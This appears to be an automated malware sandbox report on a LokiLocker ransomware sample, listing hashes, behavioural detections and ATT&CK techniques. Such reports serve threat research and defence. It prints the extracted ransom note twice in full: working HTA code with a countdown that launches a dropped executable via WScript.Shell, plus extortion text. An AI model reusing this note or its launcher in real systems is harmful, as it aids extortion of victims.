Overview

overview

10

Static

static

3

2026-04-21...ee.exe

windows10-2004-x64

10

2026-04-21...ee.exe

windows11-21h2-x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target
    2026-04-21_dac209d2132049d7a6fad0f70195f6d2_drokbk_elex_rhadamanthys_smoke-loader_stealc_stop_tofsee
  • Size 539KB
  • Sample260421-hkstdadv4w
  • SHA256 e4dbe81cc1694fd77f8d8239d6dcdc29020da05184d8d12c9fa5217d286a15fb
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
lokilockerdefense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwaretrojan

Malware Config

Extracted

Path

  • F:\info.hta

Ransom Note
  • <html><head> <title>Loki locker</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head><style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}.header{text-align: center;}#t{color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; border-bottom: 0; font-size: 2vw;}</style><script>var countDownDate = new Date(2026,4,21,7,53,2).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("tm").innerHTML = days + "d," + hours + ":" + minutes + ":" + seconds + " LEFT TO LOSE ALL OF YOUR FILES"; if (distance < 0) { clearInterval(x); document.getElementById("tm").innerHTML = "TIMER IS UP.SAY BYE TO YOUR FILES :)"; WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("C:\\ProgramData\\winlogon.exe", 1, false); } }, 1000);</script><body> <div class="header"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK8AAAAnCAMAAABOr+jyAAABdFBMVEUAAADgAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAncAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAn/AAjgAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAniAAneAAngAAngAAngAAngAAngAAngAAnjAAjkAAjgAAngAAngAAngAAngAAngAAngAAngAAkDAxDgAAngAAn+AAfgAAngAAngAAngAAngAAnoAAngAAnlAAjgAAnRAAkqAg9OAg18AQz/AAj5AAh2AQyRAQvxAAj/AAh0AgzDBAv/AAj/AAeDAQyIAQz9AAiSAQvgAAn/AAfdAAldAg35AAh7AQz8AAjfAAntAAhQAg1zAQyYAQvmAAn0AAhnAg0mAg9DAg5jAg24AAoZAg/XAAkrAg6JAQynAQvHAQrPAApwPHAhAAAAYnRSTlMAtD2d9frCWBHLJfPiIKyfTjkB7Ylj8eqCaDHchWs1Lg7q0L+wbwnHRBwVBea8uKSSi3U7K5d+eVsWB9SyqZQZ07aP/NXEimBeVUtJQCjz1vKKivPz8+zs6ebZy6mVh2NfO70OGdUAAAUaSURBVFjD7ZdXVxpBFIBvJGtBXJHeIoQIoSMoYESINSZG03vPsCGIvaT/+czMHdgFl4A+eA7n5HuZmXXH+fbOnQL85z9tmLatVuv1Fy9rLugLRgmlsrtXzUBfgL5f96o26AseKESh8e0b37d1pV7ZPfpe7xPf6INqbefoe1XpE1/Y/P1jp1pTSL/4wsfdSl0h232yP1DuEIUo9TvQN8hEqR08hr7BEqwdfLuwb9y24IILdw6Hw/PncuWbxKOV417zwTNNGQOVQUKIDEg2nU4bwtA70w6HYxHOQRYYn3cqva43N6FE1PYkYYgPWGT1GPROib4/CueAhHjxaX8ZemOIKU108L1Cq1eHoXcMtIPpXL7KJi+n5Av6wg3aLsFl+Tpqj3hsbs1c1NfiKhXg0nyf7a+8wQV6MV/k8nwfrJxUkvBPbptD2bv+s75GyowFxmgR7ew7ll0IFpMZ7fTFrpVGimuGuXmN77rP5ysPAWNgebAYlN0B4NjpH+7BvYXFQd5cOazsKznozFZaIoyRoTbfKVYpWSBIi1RHXxsRLERBULhKEL/qG+EPBlhiLhDEOQeMBK3eLLAHvPmU6hJSgE6skybpFt9r/H/GcQ9LdvC1DKrdHWKK0KfVN8w/YYNNh1Ptca2xvUu8PzCeE4U17oE+d4mGpabvABj5EyMAjNDySgffJFERfxhXH8w2fVOsucw+0ISxHeWFB30F+HtoGxuToMdYYygssswXPb2ssMO/fed4L2tpvMgrUwAwQzgpw5STTAhffC8IFBerlbfiw3fZkCNN3xGDvIq+BLHeBh1kLuuOxiLYLSB8LTwbZOjim+BpFACRPcQoIj5CKxB2i3xI4VwxgTCb+RCGSuId0DfDQt/iq3tf9xCKtMXrazyj0NeRYQ0vdPGd5G6adeeCYZH1CPquelmvDdY0s/Em/R7KGPtYN/o6gaP6bisHevedAg6ipoaMvhIul26+Ic1VY57N7xKmQx60vkgCGumACYqlD32Tbb7KQeX0id5ujqsCeYjBGlKXbzdfH04zEuTdzfgJ7b4YSoAyacWm71v/c/xNzzetXmWwY1DrK4W7+Lq03b1sH4UN9sis52vl18s23xAOe6PNt/LliLyHW1EcKeCJ3aLQ1jKh3AfEih1VX+Lq4mvHuGnSCVeEod3XhC9iAkrmBpH7MX3f6slpRZEkIvnFjUuiEBn3GTwHcYVPN3zX2RDSvJ6vo3U3tOK5msIMijs0m2dc+NpijQAPtJ8F+r61w70qZn2MXxisYrsMJBr7ONznjyaEbx5yGGAdXylkR2Jwk28jEQvMymI7xH6SPQDzmzLbf1F0qbEenOqUBOxrY118WYYxZtFXzCh5aMtf4ZWgel5EMYPP+qpsggcrJi+WeRYLrDq8zuZ57AV80do8T1cNmdwNB/u+DvlweFoRvAOGWfjyCKkYNfcHGQPcyRdfymNNG4v1s+cxjoMBTrUe4B3W28nxz6/I7gdgZIVv+CFRMYPGd4tgBrf4ptp8wac2kxZ1V0Y8eJtINBJ3lL2xRFSGxZcMtvke/Nr5Itj5kgVGDn0hniaC4kzr781BPge4bywCsqb1HeB5L2bIlIUGM+KrJCPO0lWgrDbP2JCJIF4XOweLmIcNvJLT6Uy8ut7gdWUfV+8SGQfORDlodXjlOUAmxylGluSsYrBAnhYhQGYHNAREh9B0Ob9hAQ2z7kzONxelNSN9j48XYz0wIpZIoZzzuVED/PS5H/qSv7z4WsN9vITEAAAAAElFTkSuQmCC"> <h1 id="t">All your files have been encrypted by Loki locker!</h1> <h2 id="tm"></h2> <p>All your files have been encrypted due to a security problem with your PC. <br>If you want to restore them, please send an email <span class="m">[email protected]</span> </p><br></div><p class="t"> You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. <br>After payment we will send you the decryption tool. <br>You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay <b>Double</b>. <br>In case of no answer in 24 hours (1 Day) write to this email <span class="m">[email protected]</span> <br>Your unique ID is : <span class="m">96BFC20</span> </p><br><div class="b" style="background-color: #FF0000;"> <div class="pt">You only have LIMITED time to get back your files!</div><ul style="color: white; margin-top: 0;"> <li>If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED.</li><li>You will lose some of your data on day 2 in the timer.</li><li>You can buy more time for pay. Just email us.</li><li>THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) </li></ul> </div><br><div class="b" style="background-color: rgb(78, 78, 78);"> <div class="pt">What is our decryption guarantee?</div><ul style="color: white; margin-top: 0;"> <li>Before paying you can send us up to <u>3 test files</u> for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)</li></div><br><div class="b" style="background-color: #FF0000;"> <div class="pt">Attention!</div><ul style="color: white; margin-top: 0;"> <li><u><b>DO NOT</b> pay any money before decrypting the test files.</u></li><li><u><b>DO NOT</b> trust any intermediary.</u> they wont help you and you may be victim of scam. just email us , we help you in any steps.</li><li><u><b>DO NOT</b> reply to other emails.</u> ONLY this two emails can help you.</li><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li></ul> </div></body></html>
Emails
URLs

  • http-equiv="x-ua-compatible"

Extracted

Path

  • F:\info.hta

Ransom Note
  • <html><head> <title>Loki locker</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head><style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}.header{text-align: center;}#t{color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; border-bottom: 0; font-size: 2vw;}</style><script>var countDownDate = new Date(2026,4,21,7,53,59).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("tm").innerHTML = days + "d," + hours + ":" + minutes + ":" + seconds + " LEFT TO LOSE ALL OF YOUR FILES"; if (distance < 0) { clearInterval(x); document.getElementById("tm").innerHTML = "TIMER IS UP.SAY BYE TO YOUR FILES :)"; WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("C:\\ProgramData\\winlogon.exe", 1, false); } }, 1000);</script><body> <div class="header"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK8AAAAnCAMAAABOr+jyAAABdFBMVEUAAADgAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAncAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAn/AAjgAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAngAAniAAneAAngAAngAAngAAngAAngAAngAAnjAAjkAAjgAAngAAngAAngAAngAAngAAngAAngAAkDAxDgAAngAAn+AAfgAAngAAngAAngAAngAAnoAAngAAnlAAjgAAnRAAkqAg9OAg18AQz/AAj5AAh2AQyRAQvxAAj/AAh0AgzDBAv/AAj/AAeDAQyIAQz9AAiSAQvgAAn/AAfdAAldAg35AAh7AQz8AAjfAAntAAhQAg1zAQyYAQvmAAn0AAhnAg0mAg9DAg5jAg24AAoZAg/XAAkrAg6JAQynAQvHAQrPAApwPHAhAAAAYnRSTlMAtD2d9frCWBHLJfPiIKyfTjkB7Ylj8eqCaDHchWs1Lg7q0L+wbwnHRBwVBea8uKSSi3U7K5d+eVsWB9SyqZQZ07aP/NXEimBeVUtJQCjz1vKKivPz8+zs6ebZy6mVh2NfO70OGdUAAAUaSURBVFjD7ZdXVxpBFIBvJGtBXJHeIoQIoSMoYESINSZG03vPsCGIvaT/+czMHdgFl4A+eA7n5HuZmXXH+fbOnQL85z9tmLatVuv1Fy9rLugLRgmlsrtXzUBfgL5f96o26AseKESh8e0b37d1pV7ZPfpe7xPf6INqbefoe1XpE1/Y/P1jp1pTSL/4wsfdSl0h232yP1DuEIUo9TvQN8hEqR08hr7BEqwdfLuwb9y24IILdw6Hw/PncuWbxKOV417zwTNNGQOVQUKIDEg2nU4bwtA70w6HYxHOQRYYn3cqva43N6FE1PYkYYgPWGT1GPROib4/CueAhHjxaX8ZemOIKU108L1Cq1eHoXcMtIPpXL7KJi+n5Av6wg3aLsFl+Tpqj3hsbs1c1NfiKhXg0nyf7a+8wQV6MV/k8nwfrJxUkvBPbptD2bv+s75GyowFxmgR7ew7ll0IFpMZ7fTFrpVGimuGuXmN77rP5ysPAWNgebAYlN0B4NjpH+7BvYXFQd5cOazsKznozFZaIoyRoTbfKVYpWSBIi1RHXxsRLERBULhKEL/qG+EPBlhiLhDEOQeMBK3eLLAHvPmU6hJSgE6skybpFt9r/H/GcQ9LdvC1DKrdHWKK0KfVN8w/YYNNh1Ptca2xvUu8PzCeE4U17oE+d4mGpabvABj5EyMAjNDySgffJFERfxhXH8w2fVOsucw+0ISxHeWFB30F+HtoGxuToMdYYygssswXPb2ssMO/fed4L2tpvMgrUwAwQzgpw5STTAhffC8IFBerlbfiw3fZkCNN3xGDvIq+BLHeBh1kLuuOxiLYLSB8LTwbZOjim+BpFACRPcQoIj5CKxB2i3xI4VwxgTCb+RCGSuId0DfDQt/iq3tf9xCKtMXrazyj0NeRYQ0vdPGd5G6adeeCYZH1CPquelmvDdY0s/Em/R7KGPtYN/o6gaP6bisHevedAg6ipoaMvhIul26+Ic1VY57N7xKmQx60vkgCGumACYqlD32Tbb7KQeX0id5ujqsCeYjBGlKXbzdfH04zEuTdzfgJ7b4YSoAyacWm71v/c/xNzzetXmWwY1DrK4W7+Lq03b1sH4UN9sis52vl18s23xAOe6PNt/LliLyHW1EcKeCJ3aLQ1jKh3AfEih1VX+Lq4mvHuGnSCVeEod3XhC9iAkrmBpH7MX3f6slpRZEkIvnFjUuiEBn3GTwHcYVPN3zX2RDSvJ6vo3U3tOK5msIMijs0m2dc+NpijQAPtJ8F+r61w70qZn2MXxisYrsMJBr7ONznjyaEbx5yGGAdXylkR2Jwk28jEQvMymI7xH6SPQDzmzLbf1F0qbEenOqUBOxrY118WYYxZtFXzCh5aMtf4ZWgel5EMYPP+qpsggcrJi+WeRYLrDq8zuZ57AV80do8T1cNmdwNB/u+DvlweFoRvAOGWfjyCKkYNfcHGQPcyRdfymNNG4v1s+cxjoMBTrUe4B3W28nxz6/I7gdgZIVv+CFRMYPGd4tgBrf4ptp8wac2kxZ1V0Y8eJtINBJ3lL2xRFSGxZcMtvke/Nr5Itj5kgVGDn0hniaC4kzr781BPge4bywCsqb1HeB5L2bIlIUGM+KrJCPO0lWgrDbP2JCJIF4XOweLmIcNvJLT6Uy8ut7gdWUfV+8SGQfORDlodXjlOUAmxylGluSsYrBAnhYhQGYHNAREh9B0Ob9hAQ2z7kzONxelNSN9j48XYz0wIpZIoZzzuVED/PS5H/qSv7z4WsN9vITEAAAAAElFTkSuQmCC"> <h1 id="t">All your files have been encrypted by Loki locker!</h1> <h2 id="tm"></h2> <p>All your files have been encrypted due to a security problem with your PC. <br>If you want to restore them, please send an email <span class="m">[email protected]</span> </p><br></div><p class="t"> You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. <br>After payment we will send you the decryption tool. <br>You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay <b>Double</b>. <br>In case of no answer in 24 hours (1 Day) write to this email <span class="m">[email protected]</span> <br>Your unique ID is : <span class="m">213FD3A1</span> </p><br><div class="b" style="background-color: #FF0000;"> <div class="pt">You only have LIMITED time to get back your files!</div><ul style="color: white; margin-top: 0;"> <li>If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED.</li><li>You will lose some of your data on day 2 in the timer.</li><li>You can buy more time for pay. Just email us.</li><li>THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) </li></ul> </div><br><div class="b" style="background-color: rgb(78, 78, 78);"> <div class="pt">What is our decryption guarantee?</div><ul style="color: white; margin-top: 0;"> <li>Before paying you can send us up to <u>3 test files</u> for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)</li></div><br><div class="b" style="background-color: #FF0000;"> <div class="pt">Attention!</div><ul style="color: white; margin-top: 0;"> <li><u><b>DO NOT</b> pay any money before decrypting the test files.</u></li><li><u><b>DO NOT</b> trust any intermediary.</u> they wont help you and you may be victim of scam. just email us , we help you in any steps.</li><li><u><b>DO NOT</b> reply to other emails.</u> ONLY this two emails can help you.</li><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li></ul> </div></body></html>
Emails
URLs

  • http-equiv="x-ua-compatible"

Targets

    • Target
      2026-04-21_dac209d2132049d7a6fad0f70195f6d2_drokbk_elex_rhadamanthys_smoke-loader_stealc_stop_tofsee
    • Size 539KB
    • SHA256 e4dbe81cc1694fd77f8d8239d6dcdc29020da05184d8d12c9fa5217d286a15fb
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    10/10
    defense_evasiondiscoveryevasionexecutionlokilockerimpactpersistenceprivilege_escalationransomwaretrojan

    • Family: LokiLocker

      LokiLocker is a ransomware that has been active since 2021.

      ransomwarelokilocker

    • Modifies Windows Defender DisableAntiSpyware settings

      evasiontrojan

    • Modifies Windows Defender Real-time Protection settings

      defense_evasiontrojan

    • Deletes shadow copies

      Ransomware often targets backup files to inhibit system recovery.

      ransomwaredefense_evasionimpactexecution

    • Detects executables packed with ConfuserEx Mod Beds Protector

    • Detects executables packed with unregistered version of .NET Reactor

    • Disables Task Manager via registry modification

      defense_evasion

    • Modifies Windows Firewall

      defense_evasion

    • .NET Reactor proctector

      Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Drops startup file

    • Executes dropped EXE

    • Drops desktop.ini file(s)

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • Sets desktop wallpaper using registry

      ransomware
    behavioral1behavioral2

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Windows Management Instrumentation

1
T1047

Persistence

Create or Modify System Process

3
T1543

Windows Service

3
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

3
T1543

Windows Service

3
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

3
T1562

Disable or Modify System Firewall

1
T1562.004

Disable or Modify Tools

2
T1562.001

Indicator Removal

1
T1070

File Deletion

1
T1070.004

Modify Registry

4
T1112

Credential Access

Discovery

Peripheral Device Discovery

1
T1120

Query Registry

2
T1012

System Information Discovery

3
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1
T1491

Inhibit System Recovery

1
T1490

Tasks